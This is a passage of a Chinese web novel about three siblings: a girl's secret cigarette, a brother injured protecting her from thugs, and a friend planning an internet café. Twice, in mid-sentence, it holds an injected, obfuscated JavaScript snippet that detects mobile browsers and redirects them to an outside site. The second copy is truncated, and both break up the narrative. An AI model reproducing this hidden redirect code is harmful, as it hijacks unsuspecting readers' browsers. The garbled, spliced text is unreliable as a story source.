她抬起头看了一眼阮云琛,却又立刻低下,像是不敢面对那双眼睛,声音也变得越来越小:“我只是觉得……我和同学们都不一样,我没有父母,我...我甚至不知道父母都长什么样子。” 说到这里,她已经开始呜咽,泪水模糊了视线。 “可是我不是那个意思……”淼淼的肩膀开始抖,像是所有压抑的情绪都在这一刻崩溃,“我不是不喜欢你,不是不喜欢秋哥,我就是......我不知道秋哥会因为我受伤……我以为……” 她渐渐地开始语无伦次,声音像是被堵住了一样,喉咙里发出的只是低低的哭声:“对不起……对不起……” 阮云琛看着她,手上的毛巾微微顿了一下,然后轻轻叹了口气,将它放在一旁。 她没有说话,只是伸出手,将淼淼抱进了怀里。 这不是一个多么轻柔的拥抱,甚至有些僵硬,像是她还不太习惯这样的安抚。 可淼淼却像是被戳中了最后一道防线,哭得越发大声,整个人缩在她的怀里,手紧紧抓住她的衣角,仿佛只有这样才能让自己不至于崩溃。 “没事了。”阮云琛的声音很低,带着一点沙哑,却透着一种安稳的力量,“没事了。” 淼淼说自己没有抽那盒烟。 ——烟、酒。 阮云琛一直告诉她这两个没一个是好东西,她说这话时,神情冷得像冰。淼淼知道,她的姐姐永远不会对她不好。 她就是前几天趁阮秋周六去学校看成绩榜时,偷走了他柜子里的钥匙,独自一人跑去了他们从前的家。 那栋楼早已废弃,楼道里弥漫着潮湿的霉味,墙上的涂料脱落得斑驳,露出灰白的墙砖。淼淼踩着木质的地板,咯吱声回荡在寂静的楼道中,声响在空荡的空间里显得格外刺耳。 她推开门,阳光从窗外泄进来,照亮了空气中的灰尘,将整个屋子笼罩在一片昏黄的光影里。 屋子里的一切都蒙着厚厚的灰。沙发一角坍塌,茶几上的玻璃杯倒扣着,杯壁上凝着陈旧的污渍。她开始一间间屋子找过去,拉开抽屉,翻动衣柜,掀起床垫,动作急切却又带着克制。她想找到点什么,哪怕是一点关于父母的痕迹。 可是没有。 屋子里残留的东西全是她和阮云琛的生活痕迹。照片、笔记本、墙角堆积的旧课本……它们沉默地排列着,仿佛在无声地诉说:这里从来没有过其他人存在的空间——直到她把衣柜底层的箱子搬开。 淼淼觉得自己的手指碰到了一块冰冷的硬物,她把那东西拖了出来。 那是一盒布满灰尘的烟,旁边是一只贴着模糊标签的空酒瓶。 淼淼又想起了阮云琛无数次冷着脸告诉过她的事情,想起廖致远也严肃地提过这些。 甚至阮秋,每次看到这些东西,也会不耐烦地皱起眉头,说:“淼淼,你别动这些。” 可这......这会不会是她记忆里不存在的父母留下的东西? 那盒烟,如果点燃了,是不是就能闻到当年父亲的味道? 淼淼没忍住。 她拿出一根,用阮秋藏起来的打火机点燃。 烟刚燃起来,一股刺鼻的辛辣气息冲入鼻腔和喉咙,呛得她咳嗽不止,眼角泛红,眼泪险些掉下来。胸口闷得难受,像有什么东西压在上面,让人喘不过气。 她掐灭了那根烟,把它丢回烟盒,盖上盒盖,又塞进了自己的衣兜。 她感到害怕。 她怕阮云琛知道后,会彻夜难眠;怕阮秋知道后,会冷着脸一整天;更怕廖致远站在阳台上,像以前一样一根接着一根抽烟,默不作声,烟灰堆满烟灰缸也不曾停下。 她以为把烟藏好就不会再有麻烦了。 可还是被阮云琛发现了。 阮云琛深深地叹了口气。 ——那盒烟已经过期了十二年。 阮云琛坐在桌边,目光落在那盒烟上,心中像是被什么东西钝钝地压着,喘不过气。 那烟已经潮了,黄得像是霉掉的旧纸,纸盒边缘的碎屑散落在桌上,像一场无声的塌陷。 她看着它,心中的愧疚一点点漫了上来。 淼淼是她用尽一切力气保护下来的,可这种保护是不是过了头? 她设下那么多规则,把淼淼的生活打理得井井有条,却从未想过,淼淼会觉得这些规则是束缚。她把危险挡在了门外,却没有告诉淼淼如何去面对它。 她害怕淼淼受到伤害,害怕淼淼陷入自己曾经经历过的绝望和无助。可她是不是忽视了,淼淼需要的不是一个完全安全的世界,而是一个能让她慢慢学会独立面对世界的空间? 她叹了口气,手指抚过那盒烟的边缘,动作很轻,像是怕把它弄散了。 “我应该早些教她的。”她低声说,声音里透着一种深深的疲惫,“不是说抽烟不好,而是为什么不好。” 她知道,淼淼不是坏孩子。她也知道,这不是她第一次犯错,更不会是最后一次。可是,淼淼把烟带回来的时候,眼神里有一种她从未见过的陌生和倔强——那种眼神让阮云琛感到陌生,也感到无力。 ——我是不是做错了什么? 她在心里问自己。 可她找不到答案。 桌上的烟盒静静躺在那里,像是一场沉默的审判,将她的愧疚一层一层剥开,露出最深处的无助。 她闭了闭眼,手掌撑着额头,轻声叹道:“我只是想让她好好的。” “别想那么多。”阮秋忽地出了声。 他的声音低低的,像是一片飘过水面的风,打破了室内压抑的沉寂。 阮云琛睁开眼,目光落在阮秋身上。 他靠在床头,半边肩膀的纱布还透着些微的红,苍白的脸上却带着一抹若有若无的安慰,像是试图用自己的平静去化解她的不安。 光线从窗外照进来,落在他的肩膀上,勾勒出清晰的轮廓。阮云琛的目光顿了一下,像是被某种突如其来的念头绊住。 他的肩膀已经不似当初那么瘦削了——少年时薄薄的骨架,如今隐隐透出几分肌肉的形状,宽厚了许多,带着一股安稳的气息。 她一时没移开视线,也不知道自己在想什么。那些年他跟在自己身后,总是瘦得像根竹竿,跑两步都喘得厉害。可现在…… “她会理解的,”阮秋又说了一遍,声音平缓得像是一种信念,“她只是还没找到表达的方式。” 阮云琛没有接话。 她的手指轻轻叩着桌面,节奏紊乱,指尖的骨节略显苍白,像是在不自觉地消耗力气。 “你疼不疼?”她忽然问。 阮秋愣了一下,随后笑了笑:“还能疼得过你刚才揍人的时候?” 话里带着调侃,却没有丝毫轻佻。他的语气让屋里的空气松动了一些,但阮云琛的脸上没有一点放松的表情。 “别逞强。”她淡淡地回了一句,站起身,从一旁的医药箱里翻出一卷新的纱布和药膏。 阮秋安静地看着她,没有动,也没有拒绝,任由她将纱布拆开。血已经凝固了一层,伤口深处泛着一丝红意,像是被什么刺痛了一样的痕迹。 阮云琛的手很稳,动作干净利落,既不轻也不重,像是在用最冷静的方式掩盖内心的波澜。 “刚才的事,别告诉她。”她忽然开口,声音低得几乎听不清。 “你是怕她内疚?”阮秋问。 阮云琛的动作顿了一下,没有回答。她低着头,将新的纱布一圈圈地缠上,力道稍稍放轻了些。 “她现在还小,有些事让她慢慢学。”阮秋说,“你不用把所有的担子都扛着。” 他的话让阮云琛的指尖微微一紧,手里的动作停了片刻,但很快又恢复了平稳。 阮秋笑了笑,偏头看了眼窗外的月亮,隔了会儿,才问道:“淼淼睡了?” “嗯,睡了。” 阮云琛的手顿了一下,然后放开纱布,将医药箱轻轻扣上,发出的声音不大,却在深夜的安静中显得格外清晰,像是一声轻微的叹息。 “你也睡吧,好好休息,明天打工我给你去请个假。” 她说着站起了身,显然不打算耽搁,可却在刚走出一步时,手腕被人扣住了。 那力道不重,甚至带着一点试探的意味,可却像一根无形的绳索,将阮云琛拉得顿住了脚步。 她低头看去,阮秋的手指骨节分明,温热的掌心贴着她的皮肤,像是某种无法言说的信号。 房间里的光线昏黄,将他的影子拉长,模糊了他的表情,却遮不住他眉眼间的执着。 “姐。”他的声音低低的,像是一片飘过水面的风,轻而有力,带着无法忽视的重量。 阮云琛眉头轻蹙了一下,回过了头去:“怎么了?” 阮秋的声音低低地飘过来:“我受伤了。” 阮云琛抬眼看他,眉头微微皱起,眼底透出一丝无奈:“所以呢?” 她的语气不重,却带着一种惯常的淡漠,像是对他的诉求并不意外,也并没有太过在意。 可她的目光只停留了一瞬,就迅速移开,像是害怕什么东西过于真实地刺进她的视线。 阮秋没有回答,指尖的力道稍稍收紧,手掌贴在她的手腕上,带着一点不容挣脱的坚定,却又克制得让人察觉不到侵略性。 他只是看着她,眉眼间浮现出一丝若有若无的笑意,那笑意里却藏着某种压抑了许久的情绪。 “你总不能现在就把我丢下吧?”他轻声说,嘴角的弧度带着几分无辜,又几分刻意。 阮云琛愣了一下,目光落回他的脸上,带着一种不易察觉的探寻。她的指尖微微蜷了蜷,却没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200131|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽回手,只是僵在那里。 ——他从来不是这样的人。 从她捡到阮秋的那一天起,这个孩子就显得过于懂事,懂事到让人心疼。 他从不撒娇,从不索取,甚至连多余的要求都没有。他总是安安静静地站在她的身后,默默地帮她分担一切,却从未真正向她伸出过手,哪怕是请求一点点温暖。 可现在,这个一直克制、沉稳的阮秋,竟然用这样的语气对她说话。 带着点撒娇的意思。 ……他脑袋也被砸了吗? 阮云琛愣了愣,鬼使神差地,就把另一只手贴上了阮秋的额头。 冰冰凉凉,也没发烧。 阮秋却抓住了她这只手。 “我也是青春期。”他的声音再次响起,低哑而轻柔,像是一滴水落在静止的湖面上,泛起细微的波澜。 阮云琛一时没有反应过来。 她的目光在他的脸上停了片刻,试图从那双平静的眼睛里找到什么答案,可她什么也看不到,除了那份近乎坦然的柔和。 手腕上传来的温度让她有些发愣。 阮秋的目光没有移开,像是一种无声的坚持。他的嘴角依然挂着那抹淡淡的弧度,可眉眼深处却藏着一份深埋的倔强,那种倔强既不是锋芒,也不是挑战,而是一种近乎本能的诉求。 阮云琛忽然觉得有点不适应。 她从没想过,有一天,阮秋会以这样的姿态面对她,甚至以这样的语气要求她留下来。 “你……”阮云琛皱起眉,刚想说什么,却被他握得更紧了一些。那种倔强的姿态让她心里微微一颤,却又无从发作。 阮秋靠着床头,垂下了眼睛,看起来有股说不尽的沮丧:“你对淼淼那么耐心,怎么到了我这儿,就这么冷淡?” 阮云琛深吸了一口气,没有接话,只是垂下眼睑,目光落在他的肩膀上。 那里缠着她刚刚包扎好的纱布,隐约透出淡淡的红,和他苍白的皮肤形成刺目的对比。掌心被他握住的地方,温热的触感透过皮肤,像是一种无声的质问,灼得她一时不知所措。 她的眉间隐隐拧起,沉默了一会儿,才终于低声开口:“别闹了,你受伤了,得早点睡......这都凌晨两点了。” 阮秋又僵持了会儿,才低低地“哦”了声,缓缓松开了手,滑进了被褥里。 他将被子拉过来盖住自己,只露出半个后脑勺,声音闷闷地从被子下传出来:“算了,姐不想陪我,就自己回去睡吧。” 他语气里的委屈听得分外清楚,像是撒娇,却又藏着一点点故意的成分,带着那种打得准又不露痕迹的小心思。 阮云琛愣住了,目光停在那拉得有些高的被子边缘,呼吸短促了一瞬。 空气像是一根绷紧的弦,无声地摇晃着,却始终没有断裂。 “行吧。”她最终低声叹了口气,伸手拉了拉他的被子,“别装了,睡吧,我陪着。” 被子没有动,阮秋也没有回答,但露出的后颈有一点点僵住的弧度。 阮云琛没再说什么,只是重新坐回椅子,靠着椅背,目光落在窗外的夜色里。月光透过窗棂,落在她微微松开的手掌上,指尖的弧度依旧带着方才的犹豫和力道。 过了一会儿,被子里传来一声轻轻的呼吸声,像是某种不易察觉的满足。 有那么一瞬间,阮云琛忽然有种错觉,是不是自己不仅错过了淼淼的教育,还给阮秋也教歪了。 淼淼第二天起来后,像个没事人一样,除了那两个肿得跟核桃似的眼睛,还有过分的殷勤。 “姐姐,你要不要喝茶?” “姐姐,我来做早饭吧。” “姐姐,你中午想吃什么?” 阮云琛扶着自己的腰——那是在床边趴着扭到的——虽然她瞅着阮秋那压根没占满的两米宽的床有些心动,但最后还是忍住了。 ……这不太好。 她咬了口淼淼蒸得还夹着冰渣子硬芯的凉馍,止不住地想。 对,这不太好。 以前有时候阮秋做噩梦时,她会坐在床头,顺着他的背哄他入睡。他当时还是个瘦巴巴的小家伙,肩膀窄得像麻杆,头埋在她怀里,手指紧紧攥着她的袖口,生怕一松开她就会不见。 可后来他长大了,个子窜得飞快,肩膀宽了,力气也大了。 再有一次他半夜喊她时,阮云琛下意识伸手搂住,却发现那块肩膀已经不再是小时候那种单薄的触感,而是带着成年人的轮廓和厚度。 或许是经常去拳馆打工,顺便练了拳的缘故,或许平时在学校打篮球练的,但那一瞬间,阮云琛的动作止不住地僵了一下,连带着整个夜晚都睡得不太安稳。 后来她就再也没那么干过。 她对自己解释说,男孩子长得快,占地面积太大,夜里睡觉翻身不安稳,搂着睡怕是自己会被挤下去。再说了,他都这么大了,哪还需要她照顾? 但现在想想,这种解释有点说服力不足。 阮云琛咬了口手里的凉馍,脑海中浮现昨晚他拉住她手腕的那一瞬间。那力道不重,却有种让人无法忽视的执拗;他的声音低低的,带着点她没法拒绝的柔软—— 阮云琛皱了皱眉,赶紧把这种奇怪的想法按下去。她垂下眼,假装被馍里的冰渣子硌到了牙,用力咬了一口,提醒自己。 这不太好。对,这真的不太好。 虽然最后她还是不知道为什么睡在了阮秋的床上——还好,还好那小子起床去做早饭了,否则岂不是要尴尬透顶。 “......什么不太好?” 胖子的声音突兀地从耳边响了起来,阮云琛吓了一跳,下意识地就冲旁边锤了一拳。 谢胖子“嗷”地一声就跳了起来,后头的拳馆老板浑身一抖,直接把手里的拳套往他头上砸了去。 这会儿胖子倒是伸手敏捷,一个转身就把拳套接了下来,接着又哭丧着脸趴在了柜台上,好一副死鬼怨妇模样:“陈老板!您要是手里拿着的是哑铃,那我不得当场噶在这儿啊!” 拳馆老板陈二起冷漠地翻了他一眼:“我还不稀得用哑铃砸你呢。” 胖子欲哭无泪。 他懒得再跟陈二起计较,一转身就跑回了阮云琛身边:“问你呢,阮妹妹,你说我要是开个网吧,是不是能赚更多?” 90. 揣着明白装糊涂 阮云琛刚才压根没在听胖子在耳边的叨叨,所以现在胖子这么一问,还真给她问懵了。 “你要开网吧?”她问。 “对啊。”胖子用力点了点头,“我刚才说了那么老半天,感情你一句没听啊。” “我听了又没什么用。”阮云琛非常实诚。 但她转而又觉得奇怪,胖子这来来去去变着生意骑三轮也骑了小五年——起码在她住到廖致远的公寓之前,胖子就已经在做着三轮车生意了。 按照他的话讲,那叫做“流动摊位”、“灵活运营”,好处是胜在自由,坏处是赚的钱刚够养活自己。怎么现在又突然变了性子,想包个店面了? 并且阮云琛也非常直接地问了:“你有钱吗?” “瞧你这话说得。” 胖子“哼”了声,看起来气鼓鼓的——这要是搁以前他还胖的时候,那气鼓鼓的模样倒是可能会有几分像福娃娃一样可爱,可现在他瘦了下来,脸颊一点儿肉也没有,还留了点胡茬,这么一嘟嘴,搞得跟硬汉卖萌似的,有点恶心。 阮云琛不动声色地移开了目光。 背后柜台里擦着哑铃的拳馆老板陈二起也是。 谢胖子秃噜了下嘴皮子,转而做出了一副神气兮兮的模样:“你胖哥虽然赚的不多,但是还是有点小积蓄的。” 阮云琛斜着眼看他,整张脸上只写了一个问题:“真的吗?” 谢胖子瞥见了,倒抽着“嘶”了一声,但他没在意,只是非常自来熟地从阮云琛手里面拎着塑料袋里也掏了个馒头出来。 阮云琛还没来得及制止,谢胖子张大了嘴就咬了一口——“哎哟!这里头怎么是硬的啊!” “淼淼蒸的。”阮云琛试图推卸责任。 好在谢胖子知道什么叫吃人嘴软,他含泪咽下了那一口又冷又热的馒头,犹豫了半天,也没啃下第二口,想了一想,决定用话题来转移阮云琛的注意力:“我是说,我找了个合伙人,打算一起做点稳定生意。” “合伙人?”阮云琛一愣。 谢胖子每日都在淮龙来来回回地跑,这当中他要是遇到什么生意上的知己,倒是也没什么奇怪的。 可据阮云琛所知——准确来讲,是据阮秋对于谢胖子阴阳怪气地描述里来看,他似乎真没什么认识的人。 也就是近一个月...或许是两个月来,突然说有了个合伙人,才做下的这种决定。 胖子见阮云琛半天没声音,有些等不及,用胳膊肘捅了捅她:“你不问我是谁吗?” 阮云琛平静地扫了胖子一眼,那眼神没有多半秒停留,立刻就溜去了他身旁的运动器材上面,仔细地看起了砝码的重量。 ——反正不问他也会说。 “成哥。” 果不其然,胖子跟吐瓜子皮儿似的,轻松地把自己的小秘密给抖了出来。 “他年头来的淮龙,经常搁我摊子买东西,我俩就多聊了几句,还挺投缘,就合作上了。” 胖子看起来美滋滋地,眼睛里已经闪现了对未来能翘着脚数钱的渴望。 “等你胖哥的网吧开了,给你们仨都开个一年免费会员!”他想了想,又回头对拳馆老板抛了个眼神,“陈老板要的话,也给你送个呗!” 阮云琛“哦”了声。 “谁稀罕他的会员。”阮秋小声叨咕了句。 阮云琛看了他一眼,没接话,只是顺手将盘子里的水果切成了小块,用牙签一一串好,推到阮秋面前。 “吃吧。”她语调平平,甚至带着点不以为然的意味。 阮秋伸手就要去拿牙签,可手抬到一半就又停了,动作缓慢地收回,顺势将胳膊搁在膝盖上,像是刻意给自己添了点可怜劲儿。 “姐,我手疼,”阮秋突然开口,声音里还透着点委屈,“抬不起来。” 淼淼在旁边瞪大了眼睛,一副不可置信的模样,嘴里的半块苹果都没嚼完,就搁在牙缝间叼着。 她知道阮秋是因为自己受的伤,可她也没想过这人能因为这事做出这种举动。 阮云琛的动作一顿,牙签停在盘子上方,微微翘起的眉梢透出几分不信。 她把目光从水果上挪开,落到阮秋的手腕上,那里的绷带一看就是她早上刚换的,扎得严严实实,看不出什么异样。 “你……” 阮云琛话没说完,阮秋已经略显无辜地抬起那只手腕晃了晃,表情无可挑剔地平静:“姐,真的疼。” 他的语调不高,尾音却稍稍拉长了一点,像是不经意间撒下的网,笼在两人之间。那语气就算说不上是撒娇,也离得不远。 淼淼噎了一下,嘴里的苹果差点掉出去:“你不至于吧……” “闭嘴。”阮云琛截住了她的话,声音很轻,却带着让人无法忽视的分量。 她转过身,看着阮秋,无奈地拿起一块苹果插上牙签递过去。语气平淡得像是没多大事:“张嘴。” 阮秋瞥了淼淼一眼,嘴角勾起一抹淡淡的笑意,乖乖低头咬住苹果。他咬得很慢,目光始终没从阮云琛脸上移开,像是在欣赏什么罕见的画面。 淼淼咬牙切齿,干脆把自己整个人缩进沙发里,装作没看见。 阮云琛不再理会淼淼,继续挑起下一块水果递过去:“吃完就赶紧休息。” 阮秋拖长了音调说了声“好”,随后扬着下巴冲淼淼看了一眼。 淼淼做出了个呕吐的动作。 阮云琛倒是全看见了,但她也懒得说。 她就只是觉得有点心累。 以前那个可爱的小姑娘上哪去了...... 她也就是出去上了两年大学,怎么回来就全变了? 阮云琛靠回沙发里,抬手揉了揉太阳穴,指尖用力按了两下,试图把脑子里的疲惫给强压下去。 她忽然觉得自己每天过得跟上阵打仗似的,偏偏这俩人还总有办法让她兵荒马乱。 一个青春期的尾巴,一个青春期的开头,撞在一起就跟两颗火星子,多半时候都是在互相较劲,只是非常偶尔才能冒出点温情——淼淼不动声色地翻着白眼,阮秋装模作样地无辜对视。 这些小动作落在她眼里,全都写着三个大字:不省心。 可再不省心,她也得管。 阮云琛叹了口气,目光在两人身上来回转了几圈。 她记得以前带着他们去菜市场买菜,淼淼小小一只,拽着她的衣角不撒手,非要抱还嚷嚷自己不重;阮秋安安静静地跟在旁边,像一只不想惹麻烦的小狗,只要有人问他,他就回一句“姐姐说了算”。 那时候多好啊。 现在倒好了,一个张牙舞爪,像是有了全世界都不服的理由;一个懂事得过了头,还总爱揣着明白装糊涂,拐弯抹角地在她面前“撒娇”。 这日子简直像是在走钢丝,一边是她竭尽全力维系的“正常生活”,另一边是那两个人拉着她东倒西歪,生怕日子太安稳了少点热闹。 阮云琛有时候真的分不清自己是他们的姐姐,还是操心到头发都要白了的老母亲。 思绪拧在一起,让她有点喘不过气来。 阮云琛侧头看了一眼,淼淼已经窝在沙发一角,嘴里咬着手机壳,不知道在看什么。阮秋靠着扶手,目光却悄悄落在她脸上,带着点不易察觉的笑意。 “怎么了?”阮云琛眉头一挑,语气里透着些疲惫,“还有事没事?” “没事了。”阮秋笑得坦然,“姐,我还想吃橘子。” 阮云琛闭了闭眼,觉得心更累了。 “下学期开学你就大一了,你做好准备了吗?”阮云琛决定换个话题。 “没有。”阮秋如实道,“但是如果姐姐让我做,我马上就能做好。” 阮云琛:“......” 阮云琛忽然觉得,那种“阮秋是不是为了向自己演这么一出才故意受的伤”的想法,会不会有点过分了。 阮秋也有同样的想法。 倒不是“为了向阮云琛演这么一出才受的伤”,而是“受了伤才能让他顺理成章地演这么一出”。 受伤是意外——当然是意外。 阮秋本来以为自己能应对得了一切的。 他从来没有想过自己有一天会用这样的方式去证明什么。 当他看到那几个混混的时候,下意识想的不是为什么会遇到这样的事情,而是淼淼会不会被吓到。 她的书包带被扯住,肩膀因为那股力道微微一颤,整个人被拉得踉跄了一下。她睁大了眼睛,嘴唇动了动,却一句话都没说出来。 “把她放开。” 他的声音不大,却清清楚楚传进了那些人耳朵里。 围着的几个混混转过头来,脸上的表情是同样的慵懒和不屑。他们目光在他身上扫了一圈,就像是在评估猎物的重量。 “这谁啊?”其中一个人懒洋洋地开口,嘴里叼着根烟,声音带着点笑意,“英雄救美啊?” 阮秋没有回答,只是直直站在那里,眼睛一瞬不瞬地盯着扯着淼淼书包带的那只手。 那个混混像是察觉到了什么,动作一顿,随后竟然放开了书包,顺势推了淼淼一把,把她推向阮秋的方向。 淼淼踉跄着扑过来,阮秋伸手扶住了她。 “哥……”她的声音带着哭腔,低低的,几乎听不清。 阮秋没有看她,只是轻轻拍了拍她的肩膀,“站后面去。” 他说得很轻,却带着不容拒绝的坚定。 淼淼往后退了一步,手还紧紧攥着他的衣袖。 “行啊,英雄救美成功了。”另一个混混大笑了一声,“不过你打算怎么护着她?我们也不是那么好打发的。” 他们的动作慢吞吞的,像是在逗弄什么小动物。他们不会觉得一个年轻的男孩子能造成多大的威胁。 但阮秋很清楚,自己不能表现出一点退缩。他站得笔直,像是把整个人都定在了地上。他知道自己没办法挡住所有的危险,但至少,他要让他们知道,有他在,这件事不会轻易结束。 “要不这样吧,”一个混混笑着说,“你跪下来,磕三个响头,我们就放你们走。” “你试试。” 阮秋的声音依然不大,却像是一根针,直接戳进了那人的笑声里。 空气瞬间安静了一秒。 混混愣了一下,随后爆发出一阵大笑。他们笑得前仰后合,仿佛听到了世界上最好笑的笑话。 阮秋没有笑,他只是看着他们,目光沉沉的,像是一汪深潭。 “你还真挺硬气啊。”为首的混混扯下嘴里的烟,踩灭在地,“那就别怪哥几个不客气了。” 他们动了。 阮秋护着淼淼往后退,脚步踩在地面上的时候发出一阵轻响。他知道自己的力气和身手可能比不过这些人,但他不能退得太远,也不能让他们靠近淼淼。 拳头落下来的时候,他偏头避开,却还是被擦过了肩膀,疼得浑身一颤。但他没有退,反而趁对方露出破绽的时候,用力抓住那人的手腕,狠狠一扭。 “跑!”他朝淼淼喊了一声,声音低哑却有力。 话音未落,他就被一脚踹倒在地。 他还没来得及站起来,又是一棍子砸在了肩膀上,疼得他整个人差点抽过去。 “跑!”他的声音更大了,像是用尽了最后的力气。 淼淼没有跑,她站在那里,眼睛睁得大大的,像是被钉在了原地。 紧接着,他就听到了脚步声。 凌厉,迅速,不容抗拒。 下一秒,熟悉的身影闯进了他的视线,像是一把从天而降的刀,直接撕开了那些人之间的防线。 阮云琛来了。 她闯进这片狼藉的巷子,动作干净利落,像是一道无法抵挡的风,几下就把那些混混撂倒在地。她的眼神冷冽,却没有丝毫多余的情绪,像是每一拳每一脚都带着十足的分量,却又没有过界。 阮秋看着她,脑海里闪过了很多画面。 小时候的阮云琛没有这么高,也没有这么冷漠。她穿着松松垮垮的衣服,牵着淼淼的手,另一只手还提着个廉价的塑料袋,里面装着三个人的午饭。 那时候的她,脸上总有种倔强的神色,眼神里的锋利像是藏在水底的刀,只露出一点点,却足够让人不敢轻视。 他尤记得自己第一次看到她时的场面。 冷硬,疏离,却又无法阻止她心底里不知不觉流露出的温柔。 阮云琛是所有事情的中心,是他生活的方向,是他无法抗拒也不想抗拒的依赖。阮秋知道,自己所有的安全感都来源于她,他甚至无法想象有一天她会离开他,或者他会离开她。 这样的想法让他有点喘不过气。 阮云琛冲到他面前,低头看了他一眼,眼底掠过一抹他不常见的急切和担忧。她没有多问,只是半蹲下来,扶住他的肩膀,快速检查了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可她说完这句话忽然意识到不对,那两条眼泪一下子就止住了。这委屈是假,故意酝酿出来的眼泪却是真的,这么突然一停,雷声小了,鼻涕泡倒是出来了。 淼淼瞬间嫌弃起了自己丢人,捂着鼻子就想逃,阮秋一把扯着她的领子制住了她的行动,声音高了八个度:“我是‘外’?那你‘内’?” 淼淼理亏,不说话了,阮秋却还得理不饶人,仗着自己已经蹿上了超一米八的大高个,直接站起身,拎得淼淼都快脚尖离地:“你‘内’你还离家出走,让姐姐担心?” 这话戳了淼淼软肋,她那留了一半停下来的眼泪瞬间就又掉了下来。这会儿可不是假的,是真的带了点后悔的意思。 她张牙舞爪地想要把阮秋的手给拍走,别让他再拎着自己领子,可不管怎么拍,阮秋都能完美地先她一步避开。 淼淼大声哭诉:“你伤口恢复好了不疼了是吧!” 阮秋立刻撒了手,以迅雷不及掩耳之势坐回了沙发里,窝在阮云琛旁边,一副“我就是装,你奈我何”的样子,委委屈屈地说:“哎呀,疼......” 阮云琛:“......” 廖致远短暂地回来了两三天,听说是刚结了个什么连环杀人的大案子,但是凶手还有同伙,马上还得回局里加班。 他回来的时候,淼淼难得的乖巧,阮秋也把衣裳穿得一丝不苟,生怕被廖致远看出什么端倪。 但很显然,什么都逃不过一个常年泡在各种案子里的老警察的眼睛。 “发生什么了?”他问。 “没什么大事。”阮云琛说,“他出去跟混混打架了,受了点皮外伤。” 廖致远沉默了许久,去阳台抽了根烟。 他抽烟的时候,淼淼频繁往阮云琛那儿看,阮云琛紧抿着唇,给了她一个“你自己看着办”的眼神,没说话。 廖致远抽完烟,转身回到客厅,目光扫过三个人。 他的目光并没有刻意停留在谁身上,却像是能把每个人都看透了一样。沙发上的三个人同时挺了挺背,不约而同地低下头,像是被什么无形的力量压住了。 “说吧。”他开口,语气平静得像是在问今天晚饭吃了什么。 阮秋开了口:“没什么大事,就是……遇到几个不长眼的家伙。” “哦?”廖致远扬了扬眉,“所以现在有伤的不是那些‘不长眼的家伙’,而是你?” 阮秋闭了嘴。 廖致远没再继续逼问,目光转向了阮云琛:“这事儿你处理了吗?” “处理了。”阮云琛犹豫了下,还是如实补充了句,“我揍了他们一顿。” “那行。”他点了点头,语气依旧平静,“不过下次再有这样的事,告诉我一声,别自己逞能。” “是皮外伤。”阮云琛补充了一句,像是想强调这件事没必要兴师动众。 “皮外伤也是伤。”廖致远抬起眼,看着她,语气里多了一丝不容置疑,“你觉得‘皮外伤’三个字在医学院是个科目?” 阮云琛被噎了一下,没再说话。 廖致远看了他们一会儿,叹了口气,走到冰箱前拿了瓶水,声音低了些:“你们三个,要是真想让我活得久一点,就别老让我操心这些破事。” 屋里一片安静。 他喝了口水,又说道:“阮秋,明天我带你去医院再看看。淼淼,去把你那些不知道干嘛用的画册都整理一下,别再让家里乱得跟垃圾场似的。” 他的话说得轻,却像是把所有的事情都拎得清清楚楚,既没有多余的责备,也没有任何可以辩解的余地。 隔天一早,阮秋就被廖致远揪去了医院。 淼淼本来还在幸灾乐祸,结果头刚伸出来,就也被廖致远一把抓着塞上了车:“你跟我去医院复查一下,以防万一。” 阮云琛难得耳根子清净了一天。 好日子总是短暂,并且短暂得过了头,阮秋有时候其实挺讨厌自己,讨厌自己为什么伤口可以恢复得这么快。 这才没一个月,阮云琛就给他拆了纱布,底下的伤口连疤都脱落了个干净,只剩下几道浅浅的印子。 阮秋看了看桌上的苹果,又看了看不远处不知道在得意什么的阮淼淼,颇有些愤恨地插了个苹果片儿塞进了嘴里,嘎嘣嘎嘣地嚼。 “我打算在城北开网吧。” 91. 不是坏事 胖子无事不登三宝殿——不是登门必是有事相求,而是单纯的字面意思,就是没事情干也要来三宝殿登门拜访一下。 他手里提着一兜子馒头,红的黄的白的什么颜色都有,说是受不了淼淼蒸得夹心馒头,所以从外头买了点儿带过来。 “我什么时候蒸过夹心的了?”淼淼茫然。 阮秋嗤笑了声:“夹冰碴芯儿的吧。” 淼淼抬手就给了阮秋一巴掌。 阮云琛却陷入了沉思。 她通常不太关心胖子的生意。 胖子有点人来疯,一天一个主意,今天想着做烧烤,明天又琢磨开个修车铺,指不定哪天再冒出个新点子来。 关心了也没用,听多了反倒让人觉得自己像个聆听客户抱怨的心理咨询师。 可这次不一样。 开网吧不是小事,选了址之后,短期内就很难变动,更别提店铺装修和设备投入,都是一笔一笔的实打实的钱。 胖子对这方面虽说不上门外汉,但也绝不是行家。 再加上城北——那个地方,她心里一时说不出的担忧。 城北是棚户区,简陋而杂乱,仿佛整片区域都被遗忘在了城市的角落。那里曾经是...... 是宋祈发放高利贷最集中的区域。 和安堂在那边闹过无数事端,尽管后来治安有所改善,却也只是表面平静。打架斗殴的新闻隔三差五还会蹿进头条,充斥着一种难以描述的危险感。 阮云琛把这些在脑子里理清了一遍,抬头又看了胖子一眼:“你确定要在那里开吗?” 胖子正往嘴里塞馒头,被问得一愣,吞下去的时候差点噎着。 他咳了两声,随手从桌上拿了杯水灌了两口,才慢吞吞地回答:“成哥说,那边人流量大,附近学生多,开网吧肯定不愁生意。” 阮云琛没说话,只是看着他。目光平静,却让胖子不由得挪了一下坐姿。 